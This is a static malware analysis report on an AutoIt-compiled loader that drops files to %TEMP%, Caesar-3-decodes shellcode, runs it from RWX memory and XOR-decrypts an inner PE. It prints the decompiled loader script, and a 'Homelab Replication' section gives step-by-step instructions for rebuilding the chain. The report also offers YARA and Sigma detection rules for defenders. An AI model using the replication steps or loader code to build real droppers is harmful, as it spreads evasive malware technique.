unclassified-autoit-compiled: 498f7bf3 — Caesar-3 hex-shellcode with 28-byte XOR key decrypting 229 KB inner PE

Executive Summary

Thirty-ninth confirmed sibling of the unclassified-autoit-compiled AutoItSC single-file PE32 cluster. UPX-packed transport layer (670 KB) over a 1.19 MB unpacked binary. The compiled script decrypts a two-stage payload via Caesar-3 string obfuscation, allocates RWX memory, and executes shellcode at offset 0x23b0 via DllCallAddress. The shellcode constructs a 28-byte XOR key on the stack (5OOV6X5XTTFIAL29V28SLZ669JRP) to decrypt a 229 KB inner PE32. Inner payload is a stripped x86 GUI PE (224 KB) with minimal imports, no exports, zero string surface, and a high-entropy .rsrc section — likely a second-stage infostealer or RAT payload. No C2 strings recovered in any layer. Static-only analysis.

What It Is

How It Works

Stage 0: UPX-packed transport

Outer binary is UPX-compressed with the classic UPX0/UPX1 section pair. UPX 4.2.2 decompression to a 5-section PE32 (.text, .rdata, .data, .rsrc, .reloc). ^[file.txt] The packed file carries minimal imports (LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess) typical of UPX-stub PEs. ^[pefile.txt:250-255]

Stage 1: AutoItSC runtime + compiled script

The unpacked binary is the AutoItSC single-file runtime with an embedded compiled script. The script is stored in .rsrc as type 10 (RT_RCDATA), entry with no ID, 277,278 bytes, entropy 7.999. The first 16 bytes are the encrypted header a3484bbe986c4aa9994c530a86d6487d; the AU3!EA06 marker appears at offset 16. ^[autoit-ripper extraction log]

autoit-ripper --ea EA06 successfully extracted the script (111 KB .au3 file plus two FileInstall assets: asset and outvaunts).

Stage 2: AutoIt script logic (decompiled)

FileInstall ( "asset" , @TempDir & "\asset" , 1 )
FileInstall ( "outvaunts" , @TempDir & "\outvaunts" , 1 )
Local $L30IHM = DllCall ( "kernel32.dll" , "handle" , "CreateFile" , "str" , @TempDir & "\outvaunts" , ... )
Local $O32NN6 = DllCall ( "kernel32.dll" , "dword" , "GetFileSize" , "handle" , $L30IHM [ 0 ] , "ptr" , 0 )
Local $P34Z6XPHF = DllStructCreate ( "char[" & $O32NN6 [ 0 ] & "]" )
DllCall ( "kernel32.dll" , "int" , "ReadFile" , ... )
DllCall ( "kernel32.dll" , "int" , "CloseHandle" , "handle" , $L30IHM [ 0 ] )
Local $M3132OC5DKO7N = DllStructGetData ( $P34Z6XPHF , 1 )
$M3132OC5DKO7N = Execute ( "W30gfpz1($M3132oC5DKo7n, 3)" )
$A3136OYU96AXN = Execute ( "DllC" & "all(W30gfpz1(...) ...)" )
$A3136OYU96AXN = Execute ( "$A3136OyU96aXn[" & "0]" )
$N3230LKTN = Execute ( "DllStr" & "uctCreate(...)" )
Execute ( "DllStru" & "ctSetData($N3230LkTN, 1, $M3132oC5DKo7n)" )
Execute ( "DllC" & "allAddress(W30gfpz1(""lqw"", 3), $A3136OyU96aXn + 0x23b0)" )

Flow: ^[script.au3:1-16]

1. FileInstall drops asset (229 KB) and outvaunts (28 KB) to %TEMP%.
2. Read outvaunts into a buffer.
3. Caesar-3 decode the buffer via W30gfpz1($data, 3).
4. Allocate RWX memory (0x40 = PAGE_EXECUTE_READWRITE) via VirtualAlloc.
5. Copy decoded shellcode into the allocation.
6. Execute shellcode at offset 0x23b0 via DllCallAddress.

Stage 3: Shellcode (outvaunts-decoded.bin)

Caesar-3 decoding outvaunts strips each ASCII character by -3, revealing a hex string (0x55...). The hex string is decoded to 14,336 bytes of x86 shellcode. ^[outvaunts analysis]

The shellcode entry at offset 0x23b0 (relative to the allocation base) constructs a 28-byte XOR key on the stack via sequential MOV BYTE PTR [EBP+offset], imm8 instructions:

Key: 5OOV6X5XTTFIAL29V28SLZ669JRP (28 bytes) ^[r2 shellcode decompilation]

Stage 4: Inner payload (asset-decrypted.bin)

XOR-decrypting asset with the 28-byte key yields a 229 KB PE32 x86 GUI executable:

The inner payload has zero exports, zero debug info, and a minimal import table limited to CRT, OLE, and SafeArray APIs. The 88 KB .rsrc section with entropy 7.981 is the most likely location of encrypted config, C2 addresses, or plugin modules. No plaintext C2, wallet addresses, or browser paths were recovered from the decrypted binary via strings extraction. ^[asset-decrypted.bin strings]

Decompiled Behavior

Ghidra / radare2 observations on outer binary

The outer AutoItSC binary's main at 0x00401c60 is a standard AutoIt runtime entry. The entrypoint at 0x00420577 initializes the C runtime, resolves imports, and calls main(argc, argv) — no custom anti-debug or VM checks in the outer PE itself. ^[r2:entry0]

The resource-loading function at 0x004435ba calls FindResourceExW, SizeofResource, LockResource, and copies the encrypted script into a heap buffer. The AU3!EA06 magic is validated before decryption begins. ^[r2:fcn.004435ba]

AutoIt script structure

The decompiled .au3 is heavily padded with dead code:

• 700+ lines of dummy AutoIt statements (random math, GUI calls, file operations on non-existent files)
• Variable names are 30+ character noise strings ($L30IHM, $O32NN6, $P34Z6XPHF)
• The actual payload logic occupies only the first 16 lines and the W30gfpz1 function definition (lines 3542–3550)
• This is a deliberate anti-static technique: static analysis tools must parse thousands of lines of dead code before finding the real logic ^[script.au3]

C2 Infrastructure

No C2 indicators recovered. All three layers (outer PE, AutoIt script, inner payload) contain no plaintext domains, IPs, URLs, mutex names, or hardcoded registry keys. The inner payload's .rsrc section (entropy 7.981) likely holds encrypted C2 config, but the encryption method and key are not recoverable without dynamic execution.

Interesting Tidbits

1. Caesar-3 obfuscation is a known cluster pattern — sibling 6718622d uses Caesar-3 hex-string obfuscation with a P30r6oDf decoder function name. This sample extends the pattern with a generic W30gfpz1 function. ^[entities/unclassified-autoit-compiled.md]
2. 28-byte XOR key is unusually long for commodity malware; most siblings use 19–22 byte keys. The key 5OOV6X5XTTFIAL29V28SLZ669JRP is a mix of leetspeak (OO for 00, 6X5X for GS) and random characters, suggesting either a builder-generated key or deliberate obfuscation.
3. No overlay placement — unlike siblings ff84806a, e5647a2d, f346b7e9, d990bd1b6, 941a189b, 7768873f, fb5bc543, and a8beee89 which store the script in the file overlay, this sample places it in .rsrc RT_RCDATA (the more common placement).
4. Filename theme — PAYMENT_INVOICE_RFQ_NEA062E23.exe combines three social-engineering vectors (payment, invoice, request-for-quotation) plus a fake alphanumeric tracking code (NEA062E23), suggesting targeted business-to-business delivery.
5. Inner payload is unattributed — no family signatures (AgentTesla, Remcos, AsyncRAT, etc.) were observed in the decrypted PE. The 88 KB .rsrc section may contain a .NET assembly (OLEAUT32 SafeArray APIs present) or a second-stage shellcode.
6. UPX compression ratio of 57.51% is lower than the typical 64–68% seen in this cluster (e.g., 68e48a8c at 64.94%), suggesting the inner content is already compressed/encrypted before UPX is applied.

How To Mess With It (Homelab Replication)

Toolchain

• AutoIt v3.3.8.1 (or later) from https://www.autoitscript.com
• UPX 4.2.2 for optional transport-layer compression
• Any x86 assembler (nasm / fasm) for shellcode stub

Caesar-3 obfuscation recipe

Func W30gfpz1($str, $shift)
    Local $result = ""
    For $i = 1 To StringLen($str)
        Local $char = Asc(StringMid($str, $i, 1))
        $char -= $shift
        $result &= Chr($char)
    Next
    Return $result
EndFunc

Shellcode key-build pattern

; Build XOR key on stack via MOV imm8 to [EBP+offset]
mov byte [ebp+0xDC], 0x35  ; '5'
mov byte [ebp+0xDD], 0x4F  ; 'O'
; ... repeat for 28 bytes ...

Verification

1. Write an AutoIt script that FileInstalls a hex-encoded shellcode payload.
2. Apply Caesar-3 encoding to the hex string before embedding.
3. Decode at runtime, allocate RWX via VirtualAlloc, and execute at 0x23b0 via DllCallAddress.
4. The shellcode should XOR-decrypt a PE file with a builder-generated key.
5. Compare capa fingerprint to the cluster baseline — should hit load and execute PE file, allocate RWX memory, and execute shellcode.

Deployable Signatures

YARA rule

rule AutoItSC_Caesar3_Shellcode_Xor28_2024 {
    meta:
        description = "AutoItSC single-file PE32 with Caesar-3 hex shellcode and 28-byte XOR key"
        author = "PacketPursuit"
        date = "2026-07-07"
        hash = "498f7bf34e8e067e036bebc978ab35e74b9a3ef31cc6ff58d8542a2566518e7a"
        family = "unclassified-autoit-compiled"
    strings:
        $au3_header = { a3 48 4b be 98 6c 4a a9 99 4c 53 0a 86 d6 48 7d }
        $au3_magic = "AU3!EA06"
        $caesar_func = "W30gfpz1"
        $xor_key = "5OOV6X5XTTFIAL29V28SLZ669JRP"
        $fileinstall_asset = "FileInstall ( \"asset\""
        $fileinstall_outvaunts = "FileInstall ( \"outvaunts\""
        $dllcall_virtualalloc = { 44 6c 6c 43 61 6c 6c 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 }
        $dllcalladdress = "DllC" ascii wide
    condition:
        uint16(0) == 0x5A4D and
        ($au3_magic or $au3_header) and
        (2 of ($fileinstall_*) or $caesar_func) and
        filesize > 500KB and filesize < 2MB
}

Sigma rule

title: AutoItSC Caesar-3 Shellcode Execution
detection:
    selection:
        - CommandLine|contains:
            - 'PAYMENT_INVOICE_RFQ'
            - 'outvaunts'
            - 'W30gfpz1'
        - Image|endswith:
            - 'AutoIt3.exe'
        - ParentImage|endswith:
            - '.exe'
        - CommandLine|contains:
            - 'DllCallAddress'
            - 'VirtualAlloc'
    condition: selection
logsource:
    category: process_creation
    product: windows

IOC list

Behavioral fingerprint

This binary is an AutoItSC single-file PE32 executable that, upon launch, drops two files (asset and outvaunts) to %TEMP%, decodes outvaunts via Caesar-3 hex string transformation, allocates RWX memory, copies the decoded bytes into it, and executes at offset 0x23b0 via DllCallAddress. The shellcode then constructs a 28-byte XOR key on the stack byte-by-byte and uses it to decrypt asset into a valid PE32 executable with minimal imports, no exports, and an encrypted .rsrc section.

Detection Signatures

References

• MalwareBazaar artifact: d3561f6e-4260-4088-b2f0-7217784a4913
• AutoItSC cluster entity: unclassified-autoit-compiled
• Caesar-3 technique: caesar-3-hex-shellcode-staging
• Sibling 6718622d — first observed Caesar-3 pattern in cluster
• Sibling 763ae850 — S30K9CPG Caesar-5 + XOR key "06" obfuscation

Provenance

• file.txt — file(1) identification
• pefile.txt — pefile module structural analysis
• rabin2-info.txt — radare2 binary header summary
• exiftool.json — ExifTool metadata extraction
• strings.txt — standard strings extraction
• capa.txt — Mandiant capa (packed-sample limitation warning only)
• floss.txt — FireEye flare-floss (not run — argparse error)
• binwalk.txt — embedded artefact scan (PE only)
• dynamic-analysis.md — CAPE skipped (no Windows guest)
• autoit-ripper v1.2.0 — script extraction from .rsrc RT_RCDATA
• upx 4.2.2 — decompression
• radare2 — static disassembly and decompilation
• Custom Python scripts — Caesar-3 decoding, hex extraction, XOR decryption